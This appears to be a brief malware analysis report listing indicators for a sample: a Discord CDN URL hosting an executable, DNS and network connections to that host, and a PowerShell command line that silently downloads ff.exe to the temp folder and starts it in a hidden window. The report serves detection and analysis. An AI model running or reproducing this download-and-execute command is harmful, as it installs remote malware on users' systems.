Technical Information
- https://cdn.discordapp.com/attachments/454535326069817344/463035083713150977/ff.exe as %temp+/conui8ttyy.exe%
- 'cd#.##scordapp.com':443
- 'cd#.##scordapp.com':443
- DNS ASK cd#.##scordapp.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -w 1 (new-object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/454535326069817344/463035083713150977/ff.exe', $env:Temp+'/coNuI8Ttyy.exe');start-process $env:...' (with hidden window)